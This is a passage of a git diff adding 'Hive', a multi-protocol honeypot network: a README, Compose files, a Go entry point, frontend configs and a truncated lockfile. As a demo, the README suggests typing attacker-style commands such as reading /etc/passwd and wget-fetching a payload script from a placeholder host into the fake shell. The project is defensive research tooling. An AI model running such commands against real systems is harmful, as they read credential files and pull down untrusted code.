██║██╔════╝ +███████║██║██║ ██║█████╗ +██╔══██║██║╚██╗ ██╔╝██╔══╝ +██║ ██║██║ ╚████╔╝ ███████╗ +╚═╝ ╚═╝╚═╝ ╚═══╝ ╚══════╝ +``` + +[![Cybersecurity Projects](https://img.shields.io/badge/Cybersecurity--Projects-Honeypot_Network-red?style=flat&logo=github)](https://github.com/CarterPerez-dev/Cybersecurity-Projects/tree/main/PROJECTS/advanced/honeypot-network) +[![Go](https://img.shields.io/badge/Go-1.25+-00ADD8?style=flat&logo=go&logoColor=white)](https://go.dev) +[![React](https://img.shields.io/badge/React-19-61DAFB?style=flat&logo=react&logoColor=black)](https://react.dev) +[![License: AGPLv3](https://img.shields.io/badge/License-AGPL_v3-purple.svg)](https://www.gnu.org/licenses/agpl-3.0) +[![Live Demo](https://img.shields.io/badge/Live-honeypot--network.carterperez--dev.com-green?style=flat&logo=googlechrome)](https://honeypot-network.carterperez-dev.com/) +[![Docker](https://img.shields.io/badge/Docker-ready-2496ED?style=flat&logo=docker)](https://www.docker.com) +[![MITRE ATT&CK](https://img.shields.io/badge/MITRE_ATT%26CK-27_Techniques-orange?style=flat)](https://attack.mitre.org/) + +> Multi-protocol honeypot network that simulates six real services, captures attacker behavior, maps to MITRE ATT&CK, extracts IOCs, and visualizes everything through a real-time dashboard. + +*This is a quick overview. Security theory, architecture, and full walkthroughs are in the [learn modules](#learn).* + +## What It Does + +- Simulates 6 services: SSH (fake shell with 25+ commands), HTTP (WordPress/phpMyAdmin fakes), FTP (PASV file capture), SMB (negotiate), MySQL (wire protocol), Redis (RESP) +- Captures every attacker interaction: credentials, commands, file uploads, scanning patterns, tool fingerprints +- Maps behavior to 27 MITRE ATT&CK techniques across 8 tactics with single-event and sliding-window detection +- Extracts IOCs (IPs, URLs, domains, user-agents, credentials) with confidence scoring and deduplication +- Exports threat intelligence as STIX 2.1 bundles and firewall blocklists (iptables, nginx deny, plain text, CSV) +- Records SSH sessions in asciicast v2 format, replayable in the browser via xterm.js +- Streams events in real time via WebSocket to a React dashboard with attack maps, MITRE heatmaps, and session replay + +## Quick Start + +```bash +git clone https://github.com/CarterPerez-dev/Cybersecurity-Projects.git +cd PROJECTS/advanced/honeypot-network +cp .env.example .env +docker compose -f dev.compose.yml up -d +``` + +Dashboard loads at `http://localhost:3000` or the live demo at [honeypot-network.carterperez-dev.com](https://honeypot-network.carterperez-dev.com/). Connect to the SSH honeypot to see your first captured session: + +```bash +ssh root@localhost -p 2222 +``` + +Use any password. Run commands like `ls`, `cat /etc/passwd`, `wget http://example.com/payload.sh`, and watch events stream into the dashboard. + +> [!TIP] +> This project uses [`just`](https://github.com/casey/just) as a command runner. Type `just` to see all available commands. +> +> Install: `curl -sSf https://just.systems/install.sh | bash -s -- --to ~/.local/bin` + +## Architecture + +``` + ┌─────────────────────────────────────────────┐ + Attackers │ Hive Backend │ + │ │ + ┌──────┐ │ ┌──────┐ ┌──────┐ ┌──────┐ ┌──────┐ │ + │ SSH │────2222──│──│ sshd │ │ httpd│ │ ftpd │ │ smbd │ │ + │Client│ │ └──┬───┘ └──┬───┘ └──┬───┘ └──┬───┘ │ + └──────┘ │ │ │ │ │ │ + ┌──────┐ │ ┌──┴───┐ ┌──┴───┐ │ + │MySQL │────3307──│──│mysqld│ │redisd│ │ + │Client│ │ └──┬───┘ └──┬───┘ │ + └──────┘ │ │ │ │ + │ ▼ ▼ │ + │ ┌─────────────────┐ │ + │ │ Event Bus │ (fan-out pub/sub) │ + │ └────────┬────────┘ │ + │ │ │ + │ ┌─────┴─────┐ │ + │ │ Processor │ (4 worker goroutines) │ + │ │ GeoIP │ │ + │ │ MITRE │ │ + │ │ Store │ │ + │ │ Stream │ │ + │ └───────────┘ │ + │ │ + │ ┌─────────────────┐ │ + │ │ REST API │ Chi router :8000 │ + │ │ WebSocket │ /ws/events │ + │ └─────────────────┘ │ + └──────────────┬──────────────────────────────┘ + │ + ┌──────────────┴──────────────────┐ + │ Frontend │ + │ React 19 + TypeScript │ + │ Dashboard • Events • Sessions │ + │ MITRE Heatmap • Intel Export │ + └─────────────────────────────────┘ +``` + +## Services + +| Service | Port | Protocol | Interaction Depth | +|---------|------|----------|-------------------| +| SSH | 2222 | x/crypto/ssh | Full shell with filesystem, 25+ commands, session recording | +| HTTP | 8080 | net/http | WordPress/phpMyAdmin fakes, scanner detection, vulnerability path traps | +| FTP | 2121 | Raw TCP | AUTH + PASV data channel, file upload capture (1MB cap) | +| SMB | 4450 | Raw TCP | NetBIOS framing + negotiate response, SMB1/SMB2 detection | +| MySQL | 3307 | Raw TCP | Binary wire protocol greeting, auth capture, query handling | +| Redis | 6380 | tidwall/redcon | RESP protocol, PING/AUTH/INFO/CONFIG/SET/GET/KEYS | + +## Stack + +**Backend:** Go 1.25, Chi v5, nhooyr.io/websocket, pgxpool (PostgreSQL), go-redis, zerolog, Cobra CLI + +**Frontend:** React 19, TypeScript, Vite 6, SCSS (OKLCH tokens), TanStack Query v5, Zustand, Recharts, react-leaflet, xterm.js + +**Infrastructure:** Docker Compose, PostgreSQL 17, Redis 7.4, nginx reverse proxy, multi-stage builds + +## API + +| Endpoint | Description | +|----------|-------------| +| `GET /api/health` | Health check with version and sensor ID | +| `GET /api/stats/overview` | Total events, events by service, active sessions | +| `GET /api/stats/countries` | Event counts by country | +| `GET /api/stats/credentials` | Top captured username/password pairs | +| `GET /api/events` | Paginated events with IP filtering | +| `GET /api/sessions` | Paginated session list | +| `GET /api/sessions/{id}` | Session detail with commands and techniques | +| `GET /api/sessions/{id}/replay` | Asciicast v2 recording for session replay | +| `GET /api/attackers` | Attacker list with geo and tool info | +| `GET /api/mitre/techniques` | Full technique catalog | +| `GET /api/mitre/heatmap` | Technique detection counts for heatmap | +| `GET /api/iocs` | Paginated IOC list | +| `GET /api/iocs/export/stix` | STIX 2.1 bundle export | +| `GET /api/iocs/export/blocklist` | Blocklist export (plain, iptables, nginx, csv) | +| `WS /ws/events` | Real-time event stream | + +## MITRE ATT&CK Coverage + +Hive detects 27 techniques across 8 tactics: + +| Tactic | Techniques | +|--------|------------| +| Reconnaissance | T1595, T1595.002 | +| Initial Access | T1078, T1190 | +| Execution | T1059.004 | +| Persistence | T1053.003, T1543.002, T1098.004 | +| Credential Access | T1110, T1110.001, T1110.003, T1552.001 | +| Discovery | T1082, T1083, T1046, T1018, T1049, T1016 | +| Lateral Movement | T1021.004 | +| Command and Control | T1105, T1071.001 | +| Impact | T1496, T1485, T1489 | + +Detection uses two strategies: single-event pattern matching (command → technique) and multi-event sliding windows (5+ auth attempts in 5 minutes → T1110 Brute Force, 3+ distinct services in 60 seconds → T1046 Network Service Discovery). + +## CLI + +```bash +hive serve # Start all services +hive serve --config hive.yml # Custom config file +hive migrate up # Apply database migrations +hive migrate down # Rollback last migration +hive migrate status # Show migration status +hive keygen # Generate SSH host key +``` + +## Configuration + +All settings can be set via YAML config file or environment variables: + +| Variable | Default | Description | +|----------|---------|-------------| +| `HIVE_SENSOR_ID` | `hive-01` | Sensor identifier | +| `HIVE_SSH_ENABLED` | `true` | Enable SSH honeypot | +| `HIVE_SSH_PORT` | `2222` | SSH listen port | +| `HIVE_HTTP_ENABLED` | `true` | Enable HTTP honeypot | +| `HIVE_HTTP_PORT` | `8080` | HTTP listen port | +| `HIVE_FTP_ENABLED` | `true` | Enable FTP honeypot | +| `HIVE_FTP_PORT` | `2121` | FTP listen port | +| `HIVE_SMB_ENABLED` | `true` | Enable SMB honeypot | +| `HIVE_SMB_PORT` | `4450` | SMB listen port | +| `HIVE_MYSQL_ENABLED` | `true` | Enable MySQL honeypot | +| `HIVE_MYSQL_PORT` | `3307` | MySQL listen port | +| `HIVE_REDIS_ENABLED` | `true` | Enable Redis honeypot | +| `HIVE_REDIS_PORT` | `6380` | Redis listen port | +| `HIVE_API_ADDR` | `:8000` | Dashboard API listen address | +| `HIVE_DB_DSN` | `postgres://...` | PostgreSQL connection string | +| `HIVE_REDIS_URL` | `redis://...` | Infrastructure Redis URL | +| `HIVE_GEOIP_PATH` | `data/GeoLite2-City.mmdb` | MaxMind database path | +| `HIVE_SSH_HOSTKEY_PATH` | `data/hostkey_ed25519` | SSH host key path | +| `HIVE_LOG_LEVEL` | `info` | Log level (debug, info, warn, error) | + +## Project Structure + +``` +honeypot-network/ +├── cmd/hive/ # CLI entry point +├── pkg/types/ # Shared domain types (Event, Session, IOC) +├── internal/ +│ ├── sshd/ # SSH honeypot (shell, filesystem, commands) +│ ├── httpd/ # HTTP honeypot (WordPress, phpMyAdmin fakes) +│ ├── ftpd/ # FTP honeypot (auth capture, upload logging) +│ ├── smbd/ # SMB honeypot (negotiate-only) +│ ├── mysqld/ # MySQL honeypot (wire protocol, query logging) +│ ├── redisd/ # Redis honeypot (RESP commands) +│ ├── event/ # Event bus + processor pipeline +│ ├── store/ # PostgreSQL + Redis persistence +│ ├── mitre/ # ATT&CK technique detection engine +│ ├── intel/ # IOC extraction, STIX export, blocklists +│ ├── api/ # REST + WebSocket dashboard API +│ └── ... # config, geo, ratelimit, session, ui +├── frontend/ # React 19 + TypeScript dashboard +├── migrations/ # PostgreSQL schema (goose format) +├── infra/ # Docker, nginx, Redis configs +├── learn/ # Learning modules +└── compose.yml # Production Docker Compose +``` + +## Learn + +| Module | Topic | +|--------|-------| +| [00 - Overview](learn/00-OVERVIEW.md) | Prerequisites, quick start, project structure | +| [01 - Concepts](learn/01-CONCEPTS.md) | Honeypot theory, protocol emulation, MITRE ATT&CK, IOC types | +| [02 - Architecture](learn/02-ARCHITECTURE.md) | Event-driven design, data flow, design patterns | +| [03 - Implementation](learn/03-IMPLEMENTATION.md) | SSH shell emulation, MySQL wire protocol, FTP state machine | +| [04 - Challenges](learn/04-CHALLENGES.md) | Add Telnet/SMTP, deploy to VPS, ML anomaly detection | + +## Common Issues + +**SSH host key error on repeated starts** +``` +ssh: handshake failed: ssh: no common algorithm for host key +``` +Delete `data/hostkey_ed25519` and restart. A new key will be auto-generated. + +**PostgreSQL connection refused** +Make sure the database is running. With Docker: `docker compose up -d postgres`. Check that PostgreSQL is listening on port 5432. + +**Frontend WebSocket not connecting** +The Vite dev server proxies `/ws/*` to the backend. Make sure the backend is running on port 8000 before starting the frontend. + +## Legal Disclaimer + +This tool is designed for authorized security research and educational purposes. Deploying honeypots on networks you do not own or control may violate local laws and regulations. Before deploying: + +- Ensure you have authorization from network owners +- Check your cloud provider's acceptable use policy (some prohibit honeypots) +- Be aware that honeypots collect attacker data, which may include personal information subject to privacy regulations (GDPR, CCPA) +- Do not use captured data for offensive purposes +- If deploying on a public IP, understand that you are inviting connections from potentially hostile actors + +The authors are not responsible for misuse of this software. + +## License + +AGPL 3.0 diff --git a/PROJECTS/advanced/honeypot-network/cloudflared.compose.yml b/PROJECTS/advanced/honeypot-network/cloudflared.compose.yml new file mode 100644 index 00000000..b1878873 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/cloudflared.compose.yml @@ -0,0 +1,20 @@ +# ©AngelaMos | 2026 +# cloudflared.compose.yml + +services: + cloudflared: + image: cloudflare/cloudflared:latest + container_name: hive-tunnel + command: tunnel run --token ${CLOUDFLARE_TUNNEL_TOKEN} + depends_on: + frontend: + condition: service_started + deploy: + resources: + limits: + cpus: '0.5' + memory: 128M + reservations: + cpus: '0.1' + memory: 32M + restart: unless-stopped diff --git a/PROJECTS/advanced/honeypot-network/cmd/hive/main.go b/PROJECTS/advanced/honeypot-network/cmd/hive/main.go new file mode 100644 index 00000000..994bd931 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/cmd/hive/main.go @@ -0,0 +1,14 @@ +/* +©AngelaMos | 2026 +main.go + +Entry point for the hive honeypot network +*/ + +package main + +import "github.com/CarterPerez-dev/hive/internal/cli" + +func main() { + cli.Execute() +} diff --git a/PROJECTS/advanced/honeypot-network/compose.yml b/PROJECTS/advanced/honeypot-network/compose.yml new file mode 100644 index 00000000..b7b1ab4f --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/compose.yml @@ -0,0 +1,78 @@ +# ©AngelaMos | 2026 +# compose.yml + +services: + postgres: + image: postgres:17-alpine + restart: unless-stopped + environment: + POSTGRES_USER: ${POSTGRES_USER:-hive} + POSTGRES_PASSWORD: ${POSTGRES_PASSWORD:-hive} + POSTGRES_DB: ${POSTGRES_DB:-hive} + volumes: + - pgdata:/var/lib/postgresql/data + healthcheck: + test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER:-hive}"] + interval: 5s + timeout: 5s + retries: 5 + + redis: + image: redis:7.4-alpine + restart: unless-stopped + command: redis-server /usr/local/etc/redis/redis.conf + volumes: + - ./infra/redis/redis.conf:/usr/local/etc/redis/redis.conf:ro + - redisdata:/data + healthcheck: + test: ["CMD", "redis-cli", "ping"] + interval: 5s + timeout: 5s + retries: 5 + + backend: + build: + context: . + dockerfile: infra/docker/go.prod + restart: unless-stopped + depends_on: + postgres: + condition: service_healthy + redis: + condition: service_healthy + environment: + HIVE_DATABASE_URL: postgres://${POSTGRES_USER:-hive}:${POSTGRES_PASSWORD:-hive}@postgres:5432/${POSTGRES_DB:-hive}?sslmode=disable + HIVE_REDIS_URL: redis://redis:6379 + HIVE_SENSOR_ID: ${HIVE_SENSOR_ID:-hive-01} + HIVE_SENSOR_REGION: ${HIVE_SENSOR_REGION:-local} + HIVE_LOG_LEVEL: ${HIVE_LOG_LEVEL:-info} + HIVE_GEOIP_DB_PATH: /usr/share/GeoIP/GeoLite2-City.mmdb + HIVE_CORS_ORIGINS: ${HIVE_CORS_ORIGINS:-http://localhost,http://localhost:3000} + ports: + - "${HIVE_SSH_PORT:-2211}:2222" + - "${HIVE_HTTP_PORT:-8055}:8080" + - "${HIVE_FTP_PORT:-21272}:2121" + - "${HIVE_SMB_PORT:-46353}:4450" + - "${HIVE_MYSQL_PORT:-33077}:3307" + - "${HIVE_REDIS_PORT:-44801}:6380" + volumes: + - replays:/data/replays + - hostkeys:/data + - geoipdata:/usr/share/GeoIP + + frontend: + build: + context: . + dockerfile: infra/docker/vite.prod + restart: unless-stopped + depends_on: + - backend + ports: + - "${DASHBOARD_PORT:-7119}:80" + +volumes: + pgdata: + redisdata: + replays: + hostkeys: + geoipdata: diff --git a/PROJECTS/advanced/honeypot-network/dev.compose.yml b/PROJECTS/advanced/honeypot-network/dev.compose.yml new file mode 100644 index 00000000..29813002 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/dev.compose.yml @@ -0,0 +1,87 @@ +# ©AngelaMos | 2026 +# dev.compose.yml + +services: + postgres: + image: postgres:17-alpine + environment: + POSTGRES_USER: hive + POSTGRES_PASSWORD: hive + POSTGRES_DB: hive + ports: + - "53743:5432" + volumes: + - dev-pgdata:/var/lib/postgresql/data + healthcheck: + test: ["CMD-SHELL", "pg_isready -U hive"] + interval: 5s + timeout: 5s + retries: 5 + + redis: + image: redis:7.4-alpine + command: redis-server /usr/local/etc/redis/redis.conf + ports: + - "16329:6379" + volumes: + - ./infra/redis/redis.conf:/usr/local/etc/redis/redis.conf:ro + - dev-redisdata:/data + healthcheck: + test: ["CMD", "redis-cli", "ping"] + interval: 5s + timeout: 5s + retries: 5 + + backend: + build: + context: . + dockerfile: infra/docker/go.dev + depends_on: + postgres: + condition: service_healthy + redis: + condition: service_healthy + environment: + HIVE_DATABASE_URL: postgres://hive:hive@postgres:5432/hive?sslmode=disable + HIVE_REDIS_URL: redis://redis:6379 + HIVE_SENSOR_ID: hive-dev + HIVE_LOG_LEVEL: debug + HIVE_GEOIP_DB_PATH: /usr/share/GeoIP/GeoLite2-City.mmdb + HIVE_CORS_ORIGINS: "http://localhost:5173,http://localhost:3000" + ports: + - "1262:2222" + - "8339:8080" + - "2633:2121" + - "4459:4450" + - "3344:3307" + - "6355:6380" + - "8184:8000" + volumes: + - .:/app + - dev-gomod:/go/pkg/mod + - dev-gocache:/root/.cache/go-build + - dev-replays:/data/replays + - dev-hostkeys:/data + + frontend: + build: + context: . + dockerfile: infra/docker/vite.dev + depends_on: + - backend + environment: + VITE_API_TARGET: http://backend:8000 + VITE_WS_TARGET: ws://backend:8000 + ports: + - "56722:5173" + volumes: + - ./frontend:/app + - /app/node_modules + +volumes: + dev-pgdata: + dev-redisdata: + dev-gomod: + dev-gocache: + dev-replays: + dev-hostkeys: diff --git a/PROJECTS/advanced/honeypot-network/frontend/.stylelintignore b/PROJECTS/advanced/honeypot-network/frontend/.stylelintignore new file mode 100644 index 00000000..7a5fcb87 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/.stylelintignore @@ -0,0 +1,19 @@ +# ©AngelaMos | 2026 +# .stylelintignore + +# Dependencies +node_modules/ + +# Production builds +dist/ +build/ +out/ + +# JS/TS files +**/*.js +**/*.jsx +**/*.ts +**/*.tsx + +# Generated files +*.min.css diff --git a/PROJECTS/advanced/honeypot-network/frontend/biome.json b/PROJECTS/advanced/honeypot-network/frontend/biome.json new file mode 100644 index 00000000..5f2e79d8 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/biome.json @@ -0,0 +1,95 @@ +{ + "$schema": "https://biomejs.dev/schemas/2.4.12/schema.json", + "vcs": { + "enabled": true, + "clientKind": "git", + "useIgnoreFile": true, + "root": ".." + }, + "files": { + "includes": ["**/*.ts", "**/*.tsx", "**/*.js", "**/*.jsx", "**/*.json"] + }, + "formatter": { + "enabled": true, + "indentStyle": "space", + "indentWidth": 2, + "lineWidth": 82, + "lineEnding": "lf" + }, + "javascript": { + "formatter": { + "quoteStyle": "single", + "jsxQuoteStyle": "double", + "semicolons": "asNeeded", + "trailingCommas": "es5", + "arrowParentheses": "always" + } + }, + "linter": { + "enabled": true, + "rules": { + "recommended": true, + "complexity": { + "noExcessiveCognitiveComplexity": { + "level": "error", + "options": { "maxAllowedComplexity": 25 } + }, + "noForEach": "off", + "useLiteralKeys": "off" + }, + "correctness": { + "noUnusedVariables": "error", + "noUnusedImports": "error", + "useExhaustiveDependencies": "warn", + "useHookAtTopLevel": "error", + "noUndeclaredVariables": "error" + }, + "style": { + "useImportType": "error", + "useConst": "error", + "useTemplate": "error", + "useSelfClosingElements": "error", + "useFragmentSyntax": "error", + "noNonNullAssertion": "error", + "useConsistentArrayType": { + "level": "error", + "options": { "syntax": "shorthand" } + }, + "useNamingConvention": "off" + }, + "suspicious": { + "noExplicitAny": "error", + "noDebugger": "error", + "noConsole": "warn", + "noArrayIndexKey": "warn", + "noAssignInExpressions": "error", + "noDoubleEquals": "error", + "noRedeclare": "error", + "noVar": "error" + }, + "security": { + "noDangerouslySetInnerHtml": "error" + }, + "a11y": { + "useAltText": "error", + "useAnchorContent": "error", + "useKeyWithClickEvents": "error", + "noStaticElementInteractions": "error", + "useButtonType": "error", + "useValidAnchor": "error" + } + } + }, + "overrides": [ + { + "includes": ["src/main.tsx"], + "linter": { + "rules": { + "style": { + "noNonNullAssertion": "off" + } + } + } + } + ] +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/index.html b/PROJECTS/advanced/honeypot-network/frontend/index.html new file mode 100644 index 00000000..207acbba --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/index.html @@ -0,0 +1,59 @@ + + + + + + + + + + + + + + Hive - Honeypot Dashboard + + + + + +
+ + + diff --git a/PROJECTS/advanced/honeypot-network/frontend/package.json b/PROJECTS/advanced/honeypot-network/frontend/package.json new file mode 100644 index 00000000..a88c9489 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/package.json @@ -0,0 +1,46 @@ +{ + "name": "hive-dashboard", + "private": true, + "version": "1.0.0", + "type": "module", + "scripts": { + "dev": "vite", + "build": "tsc -b && vite build", + "preview": "vite preview", + "lint": "biome check .", + "lint:fix": "biome check --write .", + "format": "biome format --write .", + "typecheck": "tsc -b", + "lint:scss": "stylelint '**/*.scss'", + "lint:scss:fix": "stylelint '**/*.scss' --fix" + }, + "dependencies": { + "@tanstack/react-query": "^5.72.2", + "@xterm/addon-fit": "^0.10.0", + "@xterm/xterm": "^5.5.0", + "axios": "^1.9.0", + "leaflet": "^1.9.4", + "react": "^19.1.0", + "react-dom": "^19.1.0", + "react-leaflet": "^5.0.0", + "react-router-dom": "^7.5.2", + "recharts": "^2.15.3", + "sonner": "^2.0.3", + "zod": "^4.3.6", + "zustand": "^5.0.5" + }, + "devDependencies": { + "@biomejs/biome": "^2.4.2", + "@types/leaflet": "^1.9.16", + "@types/node": "^25.6.0", + "@types/react": "^19.1.2", + "@types/react-dom": "^19.1.3", + "@vitejs/plugin-react": "^4.4.1", + "sass": "^1.88.0", + "stylelint": "^17.0.0", + "stylelint-config-prettier-scss": "^1.0.0", + "stylelint-config-standard-scss": "^17.0.0", + "typescript": "^5.8.3", + "vite": "^6.3.4" + } +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/pnpm-lock.yaml b/PROJECTS/advanced/honeypot-network/frontend/pnpm-lock.yaml new file mode 100644 index 00000000..db1c9697 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/pnpm-lock.yaml @@ -0,0 +1,3072 @@ +lockfileVersion: '9.0' + +settings: + autoInstallPeers: true + excludeLinksFromLockfile: false + +importers: + + .: + dependencies: + '@tanstack/react-query': + specifier: ^5.72.2 + version: 5.99.0(react@19.2.5) + '@xterm/addon-fit': + specifier: ^0.10.0 + version: 0.10.0(@xterm/xterm@5.5.0) + '@xterm/xterm': + specifier: ^5.5.0 + version: 5.5.0 + axios: + specifier: ^1.9.0 + version: 1.15.0 + leaflet: + specifier: ^1.9.4 + version: 1.9.4 + react: + specifier: ^19.1.0 + version: 19.2.5 + react-dom: + specifier: ^19.1.0 + version: 19.2.5(react@19.2.5) + react-leaflet: + specifier: ^5.0.0 + version: 5.0.0(leaflet@1.9.4)(react-dom@19.2.5(react@19.2.5))(react@19.2.5) + react-router-dom: + specifier: ^7.5.2 + version: 7.14.1(react-dom@19.2.5(react@19.2.5))(react@19.2.5) + recharts: + specifier: ^2.15.3 + version: 2.15.4(react-dom@19.2.5(react@19.2.5))(react@19.2.5) + sonner: + specifier: ^2.0.3 + version: 2.0.7(react-dom@19.2.5(react@19.2.5))(react@19.2.5) + zod: + specifier: ^4.3.6 + version: 4.3.6 + zustand: + specifier: ^5.0.5 + version: 5.0.12(@types/react@19.2.14)(react@19.2.5) + devDependencies: + '@biomejs/biome': + specifier: ^2.4.2 + version: 2.4.12 + '@types/leaflet': + specifier: ^1.9.16 + version: 1.9.21 + '@types/node': + specifier: ^25.6.0 + version: 25.6.0 + '@types/react': + specifier: ^19.1.2 + version: 19.2.14 + '@types/react-dom': + specifier: ^19.1.3 + version: 19.2.3(@types/react@19.2.14) + '@vitejs/plugin-react': + specifier: ^4.4.1 + version: 4.7.0(vite@6.4.2(@types/node@25.6.0)(sass@1.99.0)) + sass: + specifier: ^1.88.0 + version: 1.99.0 + stylelint: + specifier: ^17.0.0 + version: 17.8.0(typescript@5.9.3) + stylelint-config-prettier-scss: + specifier: ^1.0.0 + version: 1.0.0(stylelint@17.8.0(typescript@5.9.3)) + stylelint-config-standard-scss: + specifier: ^17.0.0 + version: 17.0.0(postcss@8.5.10)(stylelint@17.8.0(typescript@5.9.3)) + typescript: + specifier: ^5.8.3 + version: 5.9.3 + vite: + specifier: ^6.3.4 + version: 6.4.2(@types/node@25.6.0)(sass@1.99.0) + +packages: + + '@babel/code-frame@7.29.0': + resolution: {integrity: sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw==} + engines: {node: '>=6.9.0'} + + '@babel/compat-data@7.29.0': + resolution: {integrity: sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg==} + engines: {node: '>=6.9.0'} + + '@babel/core@7.29.0': + resolution: {integrity: sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==} + engines: {node: '>=6.9.0'} + + '@babel/generator@7.29.1': + resolution: {integrity: sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw==} + engines: {node: '>=6.9.0'} + + '@babel/helper-compilation-targets@7.28.6': + resolution: {integrity: sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA==} + engines: {node: '>=6.9.0'} + + '@babel/helper-globals@7.28.0': + resolution: {integrity: sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==} + engines: {node: '>=6.9.0'} + + '@babel/helper-module-imports@7.28.6': + resolution: {integrity: sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw==} + engines: {node: '>=6.9.0'} + + '@babel/helper-module-transforms@7.28.6': + resolution: {integrity: sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 + + '@babel/helper-plugin-utils@7.28.6': + resolution: {integrity: sha512-S9gzZ/bz83GRysI7gAD4wPT/AI3uCnY+9xn+Mx/KPs2JwHJIz1W8PZkg2cqyt3RNOBM8ejcXhV6y8Og7ly/Dug==} + engines: {node: '>=6.9.0'} + + '@babel/helper-string-parser@7.27.1': + resolution: {integrity: sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==} + engines: {node: '>=6.9.0'} + + '@babel/helper-validator-identifier@7.28.5': + resolution: {integrity: sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==} + engines: {node: '>=6.9.0'} + + '@babel/helper-validator-option@7.27.1': + resolution: {integrity: sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==} + engines: {node: '>=6.9.0'} + + '@babel/helpers@7.29.2': + resolution: {integrity: sha512-HoGuUs4sCZNezVEKdVcwqmZN8GoHirLUcLaYVNBK2J0DadGtdcqgr3BCbvH8+XUo4NGjNl3VOtSjEKNzqfFgKw==} + engines: {node: '>=6.9.0'} + + '@babel/parser@7.29.2': + resolution: {integrity: sha512-4GgRzy/+fsBa72/RZVJmGKPmZu9Byn8o4MoLpmNe1m8ZfYnz5emHLQz3U4gLud6Zwl0RZIcgiLD7Uq7ySFuDLA==} + engines: {node: '>=6.0.0'} + hasBin: true + + '@babel/plugin-transform-react-jsx-self@7.27.1': + resolution: {integrity: sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X2qjJ75fZBMSnQn3Rq2mrBJK2mw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-react-jsx-source@7.27.1': + resolution: {integrity: sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeokowZFN3CZ64IvEqcmmkVe89OPXc7ldAw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/runtime@7.29.2': + resolution: {integrity: sha512-JiDShH45zKHWyGe4ZNVRrCjBz8Nh9TMmZG1kh4QTK8hCBTWBi8Da+i7s1fJw7/lYpM4ccepSNfqzZ/QvABBi5g==} + engines: {node: '>=6.9.0'} + + '@babel/template@7.28.6': + resolution: {integrity: sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ==} + engines: {node: '>=6.9.0'} + + '@babel/traverse@7.29.0': + resolution: {integrity: sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA==} + engines: {node: '>=6.9.0'} + + '@babel/types@7.29.0': + resolution: {integrity: sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==} + engines: {node: '>=6.9.0'} + + '@biomejs/biome@2.4.12': + resolution: {integrity: sha512-Rro7adQl3NLq/zJCIL98eElXKI8eEiBtoeu5TbXF/U3qbjuSc7Jb5rjUbeHHcquDWeSf3HnGP7XI5qGrlRk/pA==} + engines: {node: '>=14.21.3'} + hasBin: true + + '@biomejs/cli-darwin-arm64@2.4.12': + resolution: {integrity: sha512-BnMU4Pc3ciEVteVpZ0BK33MLr7X57F5w1dwDLDn+/iy/yTrA4Q/N2yftidFtsA4vrDh0FMXDpacNV/Tl3fbmng==} + engines: {node: '>=14.21.3'} + cpu: [arm64] + os: [darwin] + + '@biomejs/cli-darwin-x64@2.4.12': + resolution: {integrity: sha512-x9uJ0bI1rJsWICp3VH8w/5PnAVD3A7SqzDpbrfoUQX1QyWrK5jSU4fRLo/wSgGeplCivbxBRKmt5Xq4/nWvq8A==} + engines: {node: '>=14.21.3'} + cpu: 